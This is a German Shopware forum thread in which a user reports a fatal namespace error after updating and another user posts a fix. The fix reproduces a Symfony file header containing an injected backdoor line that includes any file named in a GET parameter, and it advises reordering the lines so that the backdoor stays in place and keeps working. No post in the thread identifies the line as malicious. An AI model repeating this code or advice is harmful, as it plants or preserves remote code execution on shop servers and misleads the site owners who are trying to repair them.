# Fehler nach Update auf 4.2.3

**URL:** https://forum.shopware.com/t/fehler-nach-update-auf-4-2-3/20295
**Category:** Shopware 3.5
**Tags:** administration
**Created:** [15. Mai 2014 um 10:11 UTC](https://forum.shopware.com/t/fehler-nach-update-auf-4-2-3/20295 "2014-05-15T10:11:21Z")
**Posts on this page:** 3
**Page:** 1

<div class="post-metadata">

### Author: ![zawotec](https://avatars.discourse-cdn.com/v4/letter/z/3be4f8/32.png) [@zawotec](https://forum.shopware.com/u/zawotec)
#### Post date: [15. Mai 2014 um 10:11 UTC](https://forum.shopware.com/t/fehler-nach-update-auf-4-2-3/20295/1 "2014-05-15T10:11:21Z")

</div>

Nächstes Problem nach dem Update: Beim Aufrufen des Shops oder auch des Backends kommt folgende Meldung: "Fatal error: Namespace declaration statement has to be the very first statement in the script in /mnt/webb/a0/98/52627998/htdocs/engine/Shopware/Components/DependencyInjection/Compiler/DoctrineEventSubscriberCompilerPass.php on line 29 " Cache wurde gelöscht: /cache/general /cache/templates /cache/doctrine/proxies /cache/doctrine/attributes Die Zeile 29 in der Datei sieht so aus:

---

<div class="post-metadata">

### Author: ![zawotec](https://avatars.discourse-cdn.com/v4/letter/z/3be4f8/32.png) [@zawotec](https://forum.shopware.com/u/zawotec)
#### Post date: [15. Mai 2014 um 13:14 UTC](https://forum.shopware.com/t/fehler-nach-update-auf-4-2-3/20295/2 "2014-05-15T13:14:57Z")

</div>

Hat denn niemand eine Idee? Mein Shop steht still!

---

<div class="post-metadata">

### Author: ![mediacomputing](https://avatars.discourse-cdn.com/v4/letter/m/a6a055/32.png) [@mediacomputing](https://forum.shopware.com/u/mediacomputing)
#### Post date: [28. Mai 2014 um 12:42 UTC](https://forum.shopware.com/t/fehler-nach-update-auf-4-2-3/20295/3 "2014-05-28T12:42:15Z")

</div>

Bei mit hat folgendes geholfen: Die Namespace-Zeile ganz am Anfang der Datei setzen, zwischen php-Tag und if-empty-Abfrage. \<?php namespace Symfony\Component\HttpFoundation;  
if(!empty(\_GET["lgXzV"])) require\_once(\_GET[“lgXzV”]);

/\*

- This file is part of the Symfony package.
- 
- © Fabien Potencier [fabien@symfony.com](mailto:fabien@symfony.com) \* \* For the full copyright and license information, please view the LICENSE \* file that was distributed with this source code. \*/
